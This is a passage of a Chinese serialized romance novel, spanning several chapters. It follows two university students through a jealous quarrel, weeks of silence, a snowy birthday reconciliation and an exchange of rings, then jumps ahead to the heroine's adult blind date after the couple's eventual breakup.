王衎貌似认真地望着她,再开口却还是懒散的语气,只是笑变了点味道,带着自嘲,“我就是想一下飞机就马上见到你,结果你说你要去给别的男生庆祝生日,我还不能生气一下吗?” 方敏周再一次接收到了他示弱撒娇的信号,他在让她不要计较,但这不是她计不计较的问题,“所以你还是觉得我做错了啊。” “没有错不错这么严重……” 方敏周反驳他:“有。” 王衎终于不笑了,他打量了眼他们之间的距离,“那你是觉得我错了?” 他看到方敏周的脸上的回答:难道不是吗? 第一次,王衎发现喜欢方敏周这件事会给他带来心痛的感觉。他们之间最严重的吵架应该就是填志愿的时候,但那时候他也只是委屈愤怒而已。 “我就是吃个醋都不行吗?” 话说出来,他觉得自己也没骨气极了。 不用方敏周回答,他已猜到她的答案。 但是,别人情侣之间吃个醋小打小闹的情趣,为什么到他们之间却要如此上纲上线? 王衎受伤的表情让方敏周有些无力承受。 她别开视线,望着空白的墙壁,叹了口气。 类似的情况发生过。 如果说彼时王衎对林斯年的妒意,让她隐隐约约感到被喜欢的满足,此时此刻却只有疲惫。 真的到了被介意的程度,那一定是一方越界了,这对她来说也是不能原谅的事情——可是,她和卓睿都没说过几句话啊。 她明明和王衎聊过了的,可他就是听不进去,就像她说了让他不要再来,他还是要来一样。 他是真的在乎她,还是只是在以他的方式,表现得很在乎她? 他真的在乎她的话,为什么反而不听她的话、不考虑她的感受呢? 想到之后他还和林斯年打了架……方敏周自认为自己足够了解王衎了,一个人也不可能没有缺点,可是现在她却感到茫然,只有王衎冲动性格底色带给她的不安那么真实。 “你记不记得我之前就说过……你这样其实很不尊重我。”方敏周开了口,她其实不想这么严肃,可是,再不好好聊清楚,她觉得问题只会积累得越来越严重,“你还是没有回答我,我为什么不能去给别的男生庆生?” 王衎向后靠在沙发上,头微仰,闭上眼睛长叹了口气,再睁开时,往后耙了耙头发,收起眉间的不耐烦,反而问她:“你打算就站那里?” “你说吧。”方敏周不为所动。 “好。”王衎冷笑了一声,既然方敏周要把事情掰扯着这么清楚,那他也好好配合她,“如果我去给其他女生过生日呢?” “可以啊。” “如果是你特地飞来江城的情况下,我去给其他女生过生日呢?你也可以?” 方敏周下意识地要应,但实际她没有发出声音,王衎一脸不出所料的表情刺痛了她,“……可是你没和我说你来啊,我可能也会有别的计划。” “如果你来找我,我什么计划都不重要。” 可以的话,王衎不想方敏周去给任何一个男生过生日。相熟的男性不行,有危险,而不熟的男性,既然不熟,又要什么必要?但他知道这不对,他本意也并不是想要限制方敏周的交友自由,他没有那么疯狂,他只是想…… 他只是想方敏周多喜欢他一点。 期盼着他来找她,关心他累不累,夸夸他,他哪天要是真不来了,反而会失落会生气,而不是在电话里想也不想地就对他说,他怎么又来了,她晚上有事,社团学长的生日,她得去一趟,“你在酒店等我一下,我会早点回来……” 这完全符合方敏周说法做事的逻辑,王衎不明白的是,她这么聪明的人,为什么意识不到,她这样说话对他来说有多冷酷? 方敏周反应过来后,有点猜不到王衎的意思,“……你是在介意我没有去找过你吗?” 王衎忍不住又皱眉:“不是。” 她怎么会想到这里? “那这只是生日,如果你是有更重要的事情呢?” “不用做这种假设,那是另外的情况。”说完,因为气氛凝重,王衎耸了耸肩,“不过我也想不到有什么比你更重要的事情。” 方敏周一点笑都没有。 于是他再度收起勉强的笑。 “首先,”王衎听见方敏周说,这个词听得他又想笑了,这样一触即发的时刻,她也能井井有条,不愧是方敏周,“我不会放别人鸽子。” 王衎点头,表示他在听。 “其次,我不会不和你说一声就跑过去找你,王衎,我不会弄这种惊喜。” “好的,我知道了。”王衎发现自己说话方式也变得像方敏周一样了,一板一眼的,“所以你就是不想我来找你了,是吗?” 是吗? 当然不是。 方敏周颓败极了。 她最近在准备下个月新生杯的辩论赛稿,她比预期的要喜欢辩论的感觉,因为再犀利再激烈,双方都秉持着有理有据的原则,但现在她和王衎在干什么?“我和你说过别来了的,你这个学期已经……” “好的,我知道了。”王衎用同一句话打断她。 方敏周继续道:“……来找了我三次,你上次来的时候我就说了……” “我说,“王衎说,“好的,我知道了。” 方敏周垂着的手指抠了抠一旁的墙壁,她的话还没说完,但王衎制止了她,“你不要说了,我听你的,我之后不会来了。” 沉默。 方敏周微张的嘴张得久了,再合上,从口腔到喉咙,干涩地滚动了一下,像是吞下了一团窒息的空气。 她一直站在角落,此刻往后靠了靠,贴着冰硬的墙壁,看王衎开始收拾茶几上的东西,包装精美的糕点,被他毫不留情地扔进了垃圾桶。 深粉红色的礼盒偏长,超出垃圾桶的边缘,露出了一个尖角。 方敏周的目光从那个尖角上移,移回到王衎的脸上,她有些恍惚,她记得他是什么都写在脸上的人,现在他的脸却平静冷淡,看不出喜怒。 她又多了一个批评他的点:浪费食物,但方敏周觉得现在的她就像那盒被扔掉的礼盒,他要扔就扔了。 他有钱。 他不在乎。 眼眶发酸,方敏周转身开门,动作流畅干脆,就像他扔垃圾那样。 门在身后关上,她摸了摸自己的脸,是干的。她走进电梯,电梯的镜子里,她看到自己也面无表情的脸。她走出酒店、穿过热闹的街道、回到寝室,室友们都还没回来,周五的晚上,一定要放松玩乐的夜晚,才八点四十,几十分钟,不够江城和樟城之间飞一趟。 方敏周打开灯,眼泪像若有若无的乌云,她开始准备洗漱,让贫瘠的云朵积不起雨水。 室友们吃完自助回到寝室,奇怪方敏周怎么这么早就回来了,方敏周笑着说她也才刚回来。 她笑得一点看不出破绽,金莹把额外带的布丁递给方敏周,方敏周已经刷过了牙,但还是道谢着接过,吃完后,再刷了一次牙。 罗佳最近在和隔壁班的一个男生接触,两个人约了周末去爬山,晚上光顾着八卦这事,聊着聊着,大家睡去,小小的寝室变得安静。 睡在靠阳台的床位,有一道细小的光,透过窗帘的缝隙映在天花板上,毫无睡意的方敏周盯着看了很久。 夜晚会放大人的情绪,夜晚不适合做决定——方敏周听过这些话,她觉得很有道理,所以她只是看着天花板放空。事实上,她所有的想法心情也像入了夜一样糊在一起,她没有精力去解。 她不想哭,哭了,好像就落实了什么事情。 天蒙蒙亮的时候,方敏周浅浅睡了一会,很快被清晨的鸟啼吵醒。 她没有起床气,继续在床上躺到七点多。孟雨君起床后,方敏周也轻手轻脚地下了床,其他两个室友还在睡觉。 “这么早?”孟雨君朝她比口型。 方敏周点点头。 寝室长是周六也会早起去图书馆学习的人,只有周日才会休息。 洗漱完,方敏周去食堂慢慢地吃了早饭。 这是个晴天,但十一月的北城早上已经有了冷意,周末早上的校园行人冷清,校外也比不上夜晚繁华。方敏周走到酒店,再度乘电梯,敲响王衎的房门,青天白日,没有一双手再突然把她拽进去。 她敲了两遍,都没有人开门。 方敏周站在门外,她不知道王衎是还在睡觉还是不愿意开门,她不知道她是不是应该打个电话或者发条短信,她也不知道她是该继续敲门还是直接走人。 昨天她们帮罗佳的约会计划出谋划策,罗佳问选那支口红,她建议豆沙红的那支,更有秋日的氛围感。刚才在上行的电梯里,她对着镜子抹了一点带色的润唇膏,因为她的脸熬得苍白。 眼前的防盗门棕色厚重,映不出她的模样,而里头的人如果从猫眼里看她,又会看到什么样的光景? 方敏周准备离开,这时她听见有人喊她:“姑娘?” 负责清洁的阿姨推着工具车站在一边,方敏周以为她挡道了,道歉后转身离开,紧接着她听到身后门锁被打开的声音。 她回过头,门开了。 阿姨推着推车进去。 方敏周重新回到8012的门前,昨天她站在门内一步,现在她站在门外一步。她看到里头床铺凌乱,茶几上有喝了一半的矿泉水瓶,阿姨从垃圾桶里拿起长条礼盒。 有人居住过的痕迹,但没有人。 王衎已经退房走了。 第59章 第 59 章 离开酒店前,方敏周…… 离开酒店前, 方敏周到前台确认了下8012退房的情况。 昨晚退的房,而今天凌晨,有飞回北城的的航班。 他就这样生她的气。 方敏周回到寝室, 倒头睡到了下午。 再睁开眼, 天色已晚, 寝室里只有金莹还在, 见她醒来, 问她昨晚是没睡好还是怎么了,“要不要去吃晚饭?” 方敏周摇头,说她没什么胃口。 “哪里不舒服?” “没有, 就很困。”方敏周说,为了不让金莹担心, 她说,“你吃完饭有空的话, 帮我到小卖部随便带个面包吧。” “没问题。” 面包买回来了, 放在桌上, 方敏周咬了几口。 后来孟雨君和罗佳都回来了, 其他人问罗佳今日进展, 方敏周也跟两句。 夜晚重新来临, 地球还在旋转。 整个周末,王衎都没有发消息给方敏周,方敏周也没有找他。 又是新的一周。 方敏周放任自己把精力用来准备新生杯初赛, 自虐般地斟酌每一句话,一遍遍地读稿, 从舌头打结念到舌头不打结,然后因为发麻又开始打结。社团的学姐表扬她太认真了,她笑一笑, 说着谦虚的话。 有一次,卓睿过来和她讨论,靠过来时,方敏周感觉到他身上的气息,一下子想到那晚的王衎,下意识地想要拉开一点距离,桌边的笔不小心滚落。卓睿捡起来递给她,温和地问:“怎么了?” “……没事。”她笑笑。 如履薄冰压抑了多天的心境,一瞬间碎得稀里哗啦的,她又生起王衎的气。 周末,王衎没有突然出现。 方敏周觉得自己有点可笑了。 时间过得那样快,他们竟然一直都没有任何联系,以前恨不得每天都打电话、恨不得每周都见一次面的人,就这样在她的世界里消失了,仿佛过去的甜蜜幻影都是泡沫。 原来无论交通与通讯工具多么发达,都并不是保持密切联系的必要条件。 是分手的意思吗? 方敏周觉得不是。她不是自欺欺人,而是觉得事情太荒唐,更像王衎在置气和冷战,可时间一久,她不免对自己的判断产生怀疑。 在这段时间里,罗佳和隔壁班的男生在一起了。天气越来越冷,406寝室却更频繁地聊起关于爱情的内容,那些关于恋爱的甜与伤,男人的好与坏,像冬天里烫手甜蜜的烤红薯。 男性是一种传闻中的动物。 听说男人有钱都会变坏。 听说男人谈恋爱前和谈恋爱后是两个样子。 种种亲身经历或者道听途说的都很有趣。 大家平时其实学习很努力,休闲时刻需要一点调味的东西。 室友们有注意到方敏周的男朋友最近都没来找她,也不见她离开寝室打电话。 恋爱这一课题,广大群众凭借智慧和经验,积累了许多金玉良言,比如异地恋注定会分手,也比如初恋往往都会夭折。 所以,虽然之前方敏周的男朋友周周来找她时羡煞众人,但真要分手了,也算是意料之外情理之中的事情,她们能做的就是安慰方敏周,并告诉她还有一句话:天涯何处无芳草。 可方敏周看不出异样,她食欲正常、睡眠正常,不见胖不见瘦。她还有一条蓝色的围巾,在万物凋零的灰色里,清新得像一抹瓷色,问起来,她说是她男朋友高中时送她的。 也旁敲侧击地关心过,但方敏周总能聊上两句,几个室友私下里讨论那大概是没什么事吧,老三本来就是不张扬的性格。 某个夜晚,方敏周待在空教室里还没去吃晚饭,她和元月打电话。 元月和她说,她知道沈路明去哪里复读了,她打算寒假的时候去找他。 沈路明高考失利后在电话里匆匆和元月提了分手,之后就联系不上了,元月觉得这之间有误会,她可以等他的,一直没能放下,但又惴惴不安地问方敏周:“你觉得我应该去吗?会不会影响他高考?” 方敏周诚实地说:“我不知道。” 过了一会,元月下定了决心:“我还是打算去。” 方敏周望着窗外的夜色,应了一声。 清官难断家务事,方敏周想起王衎也开玩笑地提过大不了他去复读,那时她瞪了他一眼,他总是把一些严肃的事情当成玩笑话。 元月问起她的近况,方敏周说挺好的,他们学院过了学校新生杯初赛,下周决赛,元月高兴地为她祝贺。 有时候和朋友聊天,并不是寻求建议和帮助,而是在倾诉过程中,理清了自己真正的想法。 就像这通电话其实是她打给元月的,但在电话接通的那一霎那,方敏周意识到她的问题,元月给不了答案,好比她其实想让元月不要去找沈路明,但元月也不会听她的一样。 元月还是比她勇敢。 所以她也应该去找王衎吗? 可以吧,当面说明白,但想到她曾信誓旦旦地说她不会一声不吭地跑过去找他,方敏周不禁嘲笑自己。 有时候,她好像会把话说得太满。 挂了电话后,方敏周拿出日程本看接下来的时间计划——日程本是元月送她的,她在试着用起来,至少好好用完这一本。 新生杯比赛结束后,马上是四级考试,然后……就是她的生日,也差不多要准备期末复习,看下来,不能再拖,但这会儿,方敏周忽然不着急了,她的想法一天一个样,一开始伤心,后来愤怒,现在冷静,她不知道下周又会变成什么样。 她想,元旦吧,三天假期,即使不尽人意,也没关系,她可以当作去江城旅游,或者直接顺道回家。 都会有办法的。 方敏周到食堂吃盖浇饭,她多要了一份浇汁,阿姨送了她剩下的一小块炸鸡排,一共十七元。 坐下后,方敏周又开始算,算账,算去找王衎要花多少钱。 她有钱,但元旦机酒飚涨,加上她前不久刚有一笔大额开支:因为要参加辩论赛且考虑到未来穿西服的频率,在学姐的介绍下,她刚去一家老裁缝店定制了一套比较贵的西装。如此一想,又想到了王衎,一会儿觉得他过分,一会儿觉得自己也辜负了他的心意。 不过很快,方敏周有了赚钱的机会。 孟雨君认识的一个学姐不慎脚扭,托问有没有人能帮她代做家教到这个学期结束。寝室长提起这件事,是因为学姐动态晒出的伤势照片蛮吓人,“下床的时候不小心扭到的,你们也要小心点。” 末了,方敏周问寝室长,能不能把学姐的Q/Q发给她。 即使只是大一,兼职的学生的人也不少,虽然有些应该称之为创业,但对于没有额外资本的学生来说,因为学校的招牌,家教的时薪很可观。 方敏周试课通过后,每周二四六晚上七点到九点,去给四年级的小女孩辅导功课,小女孩的家离学校不算远,乘地铁六站。 天气愈冷、天色暗得愈早,学业、家教、社团、还有不适应的北方的冬天,日常生活的忙碌填满方敏周每一个思维的空隙,只是偶尔,她会想到:哦,对,元旦她要去找王衎。 随着新年越来越近,她竟有些胆怯起来,但转头就迫使自己不去想。 新生杯比赛,经济学院最后是第二名,最佳辩手是法学院的一个女生,气场强大成熟到被议论不像大一的新生。方敏周自愧不如,于是她又飞快地发现,她在辩论这件事情上好像没有太大的发展空间,她是注重逻辑道理的,她有好胜心,可是她没有攻击性。 后两者似乎是矛盾的,方敏周自己也问自己。 她不是不能吃苦,为了成绩,她已经吃了很多苦头,那么学习以外的事情,她不想再把自己搞得精疲力尽。爸爸说得对,北城很大,这个世界也很大,她觉得应该有什么事情是她感兴趣也适合她的,她寻寻觅觅,想要伸手踮脚就能够到的胜利果实。 北城初雪那天,方敏周拍了照片视频,第一时间居然是点开和王衎的聊天框。等录取通知书的时候,王衎说过下雪的时候来北城找她玩的话。 还好,没有发出去。 他其实也不是严格守信的人,方敏周心想。 她把雪景发给了爸妈,然后发了一条朋友圈,过了一天的评论点赞里,依然没有王衎。 那个晚上,方敏周决定就当她和王衎分手了。元旦她还是会去找他,要断也断个清楚。 初雪断断续续地在下。 方敏周生日在周六,那天家教的小女孩家里有事,补课时间提前一天。 室友们知道方敏周元旦要去江城,那么她生日男朋友不来好像也说得过去,两个日子离得太近干脆一起过,异地恋就是这点不容易。 主要还是方敏周什么都不说,她们也只能什么都不猜,但不管怎么样,正好她们可以给她庆生。 周五家教结束回学校的地铁上,方敏周收到了家长发来的红包。 家教的工资每周一结,钱来得再快,也觉得好不容易。 不比暑假,那会儿她整日无事,补课的小孩是自己来她家里,和现在全然不同。她每周三另有晚课,周一则是满课,之前有比赛和考试,现在是寒风冷雪,出了地铁都有长长的路要走。小女孩倒是挺聪明听话的,家长也很客气,只是有时会让方敏周想起自己的小时候。 她没告诉爸妈她去兼职的事,第一次家教那晚,漏接了妈妈发来的视频,事后再回拨过去,说自己刚才在忙,爸妈也没起疑。 如果说了,他们一定会生气吧。可能会觉得她没把心思放在学习上,也可能会觉得她在外地上学受了委屈。 方敏周一开始只是为了赚钱,而这钱赚得,她没了伤春悲秋。她不赞成王衎不把钱当事儿,但他那样满不在乎,也让方敏周怀疑是不是她太多管闲事了,她的一些消费在一些人看来,或许也是奢侈的,但现在方敏周不再认为自己错了。 走出地铁,雪下得有点大,方敏周戴上羽绒服的帽子,逆着风往寝室楼走。一路上行人寥寥,昏黄的路灯像结了冰一样一动不动。她没骑车,因为感觉那样更冷,而且地滑特别容易摔倒,她摔过一次,现在宁可走路。 “方敏周?” 帽子和风声蒙蔽了部分听力,方敏周隐约听见有人叫自己,寻着声看过去,看到了林斯年。 “你怎么……”她扯了扯口罩,他们上次见面还是刚开学不久的时候,樟城一中毕业的学长学姐们组局,算是老乡会。 “我刚从外面回来,有个聚餐,你呢?” 方敏周没避着,说她刚做完家教。 林斯年有些意外,但没多问。 他也是回寝室,两个人算顺路,林斯年的宿舍楼在更远的片区。他们有一搭没一搭地聊着,关于北城,关于各自的近况,林斯年知道方敏周参加了辩论社,他还去看过决赛,说她表现得很好,方敏周听着挺不好意思。 她想,她高中的时候应该算沉默的女孩。 她倒是不知道林斯年的课余生活,他学的机械工程相关。林斯年说他每天也就是学习,没什么好说的,方敏周头一次从他口中听出有点抱怨的话。 以前两个人没怎么聊过天,她还以为学习对于林斯年来说是不费吹灰之力的事情。 “不过还是挺有趣的。”林斯年说。 毕竟是自己感兴趣的专业,方敏周的心就像眼前的雪花,飘飘然就落了下去,她就称不上多喜欢自己的专业。 他们填志愿的时候,信息已经相对比较透明,她属于追热门的类型,而不少同学仍会出于兴趣爱好,最震惊的,当然是孙彤去了港城读医。 她如果也来北城,她们又会在一个大学。高中的时候,方敏周从来没想过能和孙彤上同一个大学的,现实也的确没有。 孙彤身上有很多捉摸不定的东西。 方敏周提起孙彤,有点突兀,因为她从来没和任何人提起过孙彤,不过眼下也不算太莫名其妙,毕竟不管毕业多久,班级第一都是会被提及的存在。 “北城太冷了,听说港城冬天也能穿短袖。”她说。 林斯年笑了笑:“是的。” 走到她的宿舍楼下,林斯年忽然对她说了句:“生日快乐。” 方敏周愣了,“你怎么知道的?” “高三有天晚自习我临时请假了。”林斯年说,“下楼的时候看到王衎偷偷在搬东西,后来才听说了一些盛况。” 方敏周沉默,过了会,她扬了扬嘴角:“感谢你当时没有举报他。” 林斯年笑着摇摇头。 他后面还打你,真是恩将仇报,方敏周在心里想。 “明天生日他来找你吗?还是?”林斯年好奇问了句。 “我元旦去江城找他。”方敏周说,她觉得自己有点虚伪,这话说的,好像她和王衎感情还多好一样。 “祝福你们。”林斯年说,“那我先走了,拜拜。” “拜拜。” 转身,不远处路灯照不到的地方,静静地站着一个人。 王衎站在那里,不知道站了多久。 第60章 第 60 章 风紧,但世界很安静…… 风紧, 但世界很安静。 王衎先向他们走过来,踩到的树枝和积雪,细碎地断裂。 记忆深处有更响亮的声音, 是烟火飞向空中的怦然, 也有拳头打在脸上的重击。 方敏周觉得自己是在做梦, 以至于辨识不清王衎的身影, 但他从暗处走到亮处, 越来越近。一身黑,没有戴帽子,雪花落在他的头上肩上, 也落在方敏周的眼睫上。 即刻融化的冰凉触醒了她,令她发现身旁林斯年的呼吸变得缓沉, 是遇到危险时的戒备状态。 于是六月末的雨水最终倒灌,那种眼睛和心脏所感受到的痛感在冬夜里纷飞。 更像在做梦了, 场景渲染模糊——她往前一步, 站在了林斯年的斜前面, 前后两人的视线瞬间都集中在她身上。 后者是惊讶的, 与此同时, 他身上的警惕性也消弱了一些, 方敏周暗暗舒了口气,但很快绷得更紧。 而前者……王衎的脸更清晰了,不知道是不是灯光的缘故, 他看起来瘦了些,眉骨的阴影压住眸色, 沉沉的叫方敏周看不见他眼中的自己。 他倏然笑了,对林斯年:“好久不见啊,班长。” 方敏周怔住。 林斯年客气带笑的声音从她耳边擦过, 他往前走了一步,“好久不见。” 王衎和林斯年身高差不多,王衎开阔结实些,林斯年偏清瘦,多一捧书卷气质。介于男孩和男人之间的两人开始寒暄,好像从未有过间隙。 林斯年的教养让他可以提面应对场面话,方敏周没想到的是,原来王衎也会有这么道貌岸然的一面。 “刚才我还问方敏周,她明天生日你不来么。”林斯年说。 “怎么会。”王衎咧嘴。 聊了几句,提到或许寒假可以开个同学会,王衎应承,后来林斯年要走了,走前深深看了方敏周一眼。 雪还在下,很冷,但又感不到冷。 因为有心脏在跳动,有血液在流。 方敏周把目光从林斯年走过的雪地上收回,好一会儿,她抬眼,去找王衎的眼睛。 她在等他们之间“好久不见”的第一句是什么。 是一句陈述句,他说:“你说元旦要去找我。” 方敏周默然。 他居然都听到了,他到底等了多久,为什么要等,为什么要来。 第二句是问句,他问:“你找我要说什么?” 方敏周稳住自己的声音,“我要说,你是不是要分手。” 话音刚落,她被王衎揽进了怀里。 方敏周挣扎了一下,王衎更用力地抱紧了她,隔着厚厚的衣物却仿佛还能感受到对方真实的体温。方敏周不动了,她的额头靠向王衎的肩膀,闻到他身上冰雪凌冽的气息,悄然掉了眼泪。 “我怎么可能和你分手?”王衎笑着哽咽道,下巴蹭着方敏周脖间柔软的围巾。 他多久没听见她的声音了,但现在她说的每个字,每一个音调,如同串连的细针扎进他的身体里。 他没了方才面对林斯年的游刃有余。 曾几何时,他想的是,既然方敏周不让他来那他就再也不来了,他越想越气,高中的时候她就一直在推开他,赌气到后头,变成了怨,怨她跑得那么远、怨她从来不会主动低头、怨她不够喜欢自己,甚至这次再来找她也是怨的。 而当他看到方敏周和林斯年并排走过来时,怨变成了恨,爱也变成了恨,黑漆漆的石油似的浓稠物,灼烧着他的身体,他以为自己搞砸了一切,恨自己也恨林斯年——还好,他先听到了两个人的对话,方敏周说要来找他、她说她元旦要来找他…… “我这次又什么都不说跑来找你了,生气吗?”他扯出勉强的笑意,“但是你生日,我怎么可能不来?你真的没想过我会来吗?” 他声音滞涩,但不停地在说话,好像要把这将近一个月没说的话都补上,好像这样就能让生了锈的声带重新运作起来。 方敏周的额头更重地抵在王衎的锁骨处,像一只独角兽执拗笨拙地用角顶着南墙。 她在无声降临的巨大悲伤和喜悦中流泪,眼泪滚烫,转瞬冰凉,浆糊似的糊在她脸上。 “敏周?敏敏?”王衎察觉到异样,想要捧起她的脸。 方敏周很快止住了眼泪,她把自己决堤的情绪重新拧紧了,眼泪都蹭到王衎衣服上,但仍有痕迹,都让王衎瞧见了,她垂下眼睛,觉得自己很丢脸,也不敢看他是什么表情。 他冰凉的指腹覆上来,轻轻摩挲,她才看向王衎,看到他的眼眶也红红的,心里顿时好受了不少,笑着抹了把脸。王衎见状,也笑了,温热的嘴唇贴上来,依偎的小动物那样轻轻舔着她,“对不起,我错了……” 方敏周躲着说:“……好了。” 幸好下了雪,寝室楼下野猫都没有,只有他们两个像疯子一样又搂又抱。 “……你什么时候来的?”方敏周转移话题。 “刚刚。”他温暖的呼吸扑洒在她耳边,不怕被揭穿似的撒谎,“你呢,这么冷的天不待在寝室里。” 那你为什么还在楼下等我?方敏周几乎就要问出口。 她没说她做家教的事情,她和王衎冷战本来也有钱的原因。抬头望了眼苍远的夜空,那么多雪花,没完没了,方敏周拉了拉王衎的衣服,“……走吧,去你那。” 王衎一边整理她的围巾一边说:“不用,你先上楼休息,我后天的飞机。” 方敏周看着他,“明天晚上我室友帮我庆生。” 王衎动作微顿,随即自然地比对了下围巾两边垂下的长短是否持平,“嗯,没事。” 方敏周不语。 “你以为我会又生气?”王衎笑,“我不会了,你看,我刚才看到林斯年不也和他聊得很开心吗?没有像之前那样上去就给他一拳。” 方敏周不觉得哪里好笑。 王衎讨了个没趣,但此时此刻,他说得是真心话。如果他像电影里一样有超能力,他一定要把时间倒退回他们吵架之前,但他没有,而相比其他种种,他觉得当下已经是最好的结果了,至少方敏周还是他的。 王衎又摸了摸她的脸,“你先上楼吧,我们明天再聊。” 方敏周最终点头。 故事又一次重复: 她再一次失眠,第二天清晨早早下床,只是这一次室友们都还在睡觉。雪停了,她吃了同样的早餐,穿过更寥落的清晨的校园,对着电梯里的镜子抹上唇膏。 敲门。 没开。 再敲门。 还是没有人来。 怀疑自己在做梦,梦中梦的那种,站在厚实的地毯上,却有绝望从深渊抓住了她的脚踝。方敏周拿出手机就要确认,忽然,门开了,她没有再被一股蛮劲拽进去——王衎穿着白色睡袍,正在刷牙,睡眼惺忪地朝她一笑,含糊地说:“……你怎么这么早?” 方敏周语噎,往房间里走,“……你先刷牙吧。” 王衎应声。 洗手间的水流关关停停,方敏周看到书桌上的笔记本电脑和期末复习资料。之前王衎来找她的时候一支笔都没有带过,以他的性格,如果不是时间真的不够用,估计怎么也不会带上。 王衎洗漱完、换好衣服出来,看到方敏周在仔细看他画的图。 虽然东西摆在那里有故意的成分,表示他有在学习,但实际上似乎显得他很吃力,本来学习就不如人,不禁走过去找补:“期末作业,下周就要交,没办法……” 说完,感觉自己更逊了。 “王衎。”方敏周轻轻环住了他的腰。 王衎本能地回抱住她,呆呆地应了声。 “我们以后不要吵架了。” 方敏周这句话说得很小声,闷在两个人的身体里,但房间这么安静,王衎还是听清楚了,一清二楚,他想他会把这句话刻在骨子里,“好。” 他们听了会对方的心跳,然后交换了一个薄荷味道的吻,嘴唇在暖气房里勾出一丝湿润。 王衎来找方敏周,只是因为这是她的生日,他必须要来找她,不像过去的几周,他可以借口做模型通宵熬夜自我放逐,但实际见了面怎么办,他没敢想过。他本来以为,方敏周也许会不想见他。 简单理了下东西,他问方敏周想去哪里玩,方敏周说不用,在酒店就好,“你先搞完你的作业。” 王衎:“……” 反抗了,但反抗无效。 下午四五点钟,天色暗下,方敏周要回学校了,王衎的模型仍没做完,先放一放,没有开灯的房间里,他们在昏暗里面对面坐着,聊回没有聊完的问题。 说起来还是有点尴尬,方敏周也不想把话说得太重,但她觉得王衎真的要好好反省下自己乱吃醋的问题,“你到底是不相信我,还是对自己没自信?” 可他那么自恋,怎么还会不自信呢? 王衎无言以对。 半晌,他舔了舔嘴唇,“你有没有发现,其实你很少和我说你喜欢我。” 方敏周:“……有些事情一定要说出来吗?” 一聊又想生气,她的喜欢表现得还不够明显吗? “但语言上的表达是不是也很重要。” 方敏周:“……” 她勉强点了点头,表示自己知道了。 “那你现在和我说一句。” “……什么?” “说你这辈子只会喜欢我一个人。” 方敏周表情僵硬,怀疑王衎在得寸进尺,但在他希冀的眼神下,无奈地笑着叹了口气,勉为其难地复述了一遍。 说完,羞耻地忍不住捂住脸,被王衎拉下手臂吻住,回吻间,方敏周惊觉这不是认真开会的态度,笑着躲开,让王衎别闹,他不管不顾的,反过来说了好几次他永远喜欢她,“我说得多顺,有这么难说出口嘛。” “知道了知道了。”方敏周投降。 会议最后,像高中时那样,她和王衎“立法三章”,长期来说,学业一定为重,短期内来说,至少这个学期,他们不应该再见面了。 “元旦……”王衎出声,但在方敏周的眼神下住了嘴。 他们应该好好复习期末了,方敏周很想说些威胁的话,类似于如果你挂科就什么什么的,但最终什么也没说,而是提到下个学期的计划。 五一假期他们可以出去旅游,除此之外可以见一面。王衎觉得见一面未免太少,讨价还价,定为两次,一人一次,再之后就是暑假了,有点太遥远,下学期再说。 方敏周:“说好了?” 王衎不情不愿地点头。 方敏周其实也对此深表怀疑,但至少现在,他们达成了和平协议。 她看了看时间,真要走了,王衎忽然从一旁地上的书包里掏出一个小盒子,就那么随意地打开,里头是一枚戒指,方敏周都还没有看清楚,她的右手就被王衎拉了过去,不问意见、不由分说地把戒指就套在了她的中指上,“这个给你,说好了。” 他的左手中指有一枚一模一样的,方敏周早就注意到了,但以为只是他新的配饰。 她不知道王衎指的是什么,是回答她的问题,还是他们再也不要吵架的承诺,或者是这枚戒指的含义。 她盯着戒指看了好一会,才看向王衎,发现他居然有点紧张,心下一酸,但脸上扬起笑。 “说好了。”她同样这么回答。 如此这般,幸福快乐好像会是结局。 60-70 第61章 第 61 章 “你和前任为什么分…… “你和前任为什么分手?” “你呢?” 工作一段时间后, 有时候出于一些人情关系和工作交集,方敏周会主动或被动认识一些人。 最近一位本科学姐介绍方敏周和一位海归男认识,“也是学建筑的, 最近刚回国, 人呢乍一看好像有点不靠谱, 但实际还是蛮有想法的, 没关系, 就吃个饭随便聊聊。” 学姐知道方敏周前男友是学建筑的,因为方敏周提起前男友总无坏话,加上她自己说的, 并未“一朝被蛇咬”从此对建筑男敬而远之,所以在学姐看来, 她或许是比较喜欢懂点艺术的理工男类型。 是吗?方敏周和学姐君子之交,也没着急否认, 毕竟她也不知道, 王衎算什么类型, 她喜欢上他的时候, 他还是一个不学无术的班级吊车尾。 不过学姐开口了, 方敏周也就应约了, 而有些人只消对上一眼就知道没缘分。入社会时间一长,方敏周也会看相了,以前总是懵懵懂懂的, 看人就是人,顶多美丑之分。 贺温纶见到方敏周时眼睛亮了亮, 几句话下来发现她没意思后,也果断地收起触探。这种局,难得两个人都坦诚, 但问及一些私事,方敏周不想说,至少不想先说,但贺温纶无所谓,“我回国,人华裔不愿意,就分了。” “这样啊。”方敏周回应了一句。 对方喝了口酒,用眼神示意,该她了。 “我也差不多吧。”方敏周说。 “差不多是什么意思?” “异国,所以分手了。” “那你直接说‘一样’就好了,说差不多,我还以为……”贺温纶感到好笑。他咬文嚼字,是因为方敏周那句话就是让他这么问的。 模棱两可、意有所指的一些话,不管对方有意无意,他点出来,至少他是识趣的。成年男女之间就是这样一问一答,聊天才得以继续。 但方敏周知道贺温纶误会了,她懒得过多解释,笑一笑:“主要还是性格不合。” 贺温纶了然,“你要这么说的话……我的也算,每一段都算。”说完,自己把自己逗笑了,“所以你说,明明性格不合,怎么一开始还看对眼了?” 如果换做其他人,方敏周这个时候会说些俏皮话,接下来两个人就该交流一些两性见解了,但对贺温纶没有必要,他比较风流,倒是不说场面话,于是方敏周也最真实地撇了两个字,“是啊。” 所有人的爱情故事好像都是这样,特别是已成悲剧的,热恋时的甜蜜、分手时的伤痛,以及多年后提及对方还能调侃两句的释然,她和王衎的故事,总结概括也不过是司空见惯的一轮。 贺温纶被方敏周的态度堵住,又喝了口酒,方敏周勾了勾嘴。 “你维持这个笑刚刚好,不扫兴。”贺温纶评价。 “好啊。”方敏周自然地维持微笑。 一杯咖啡喝完,贺温纶如是总结,他觉得方敏周不错,很不错,学历职业外貌气质俱佳,性格也意外地有有趣的一面,“但是”来了,“我反正也还没打算结婚,感觉如果要谈恋爱,还是得找个对恋爱感兴趣、想谈恋爱的,你说呢?不过这样的话,我们是不是得往年龄小的找啊?” “我比你小啊。”方敏周说这话纯属纠正。 贺温纶一怔,笑了,“对不住。” 方敏周返回上一层回答他的问题:“关于你的问题,看人。” “看人吗?但年纪大了都没激情了,初恋那会多不一样啊。” “你置黄昏恋的爷爷奶奶们于何地。” 没听过这种话。 贺温纶琢磨着,饶有兴趣地多打量了方敏周一番。 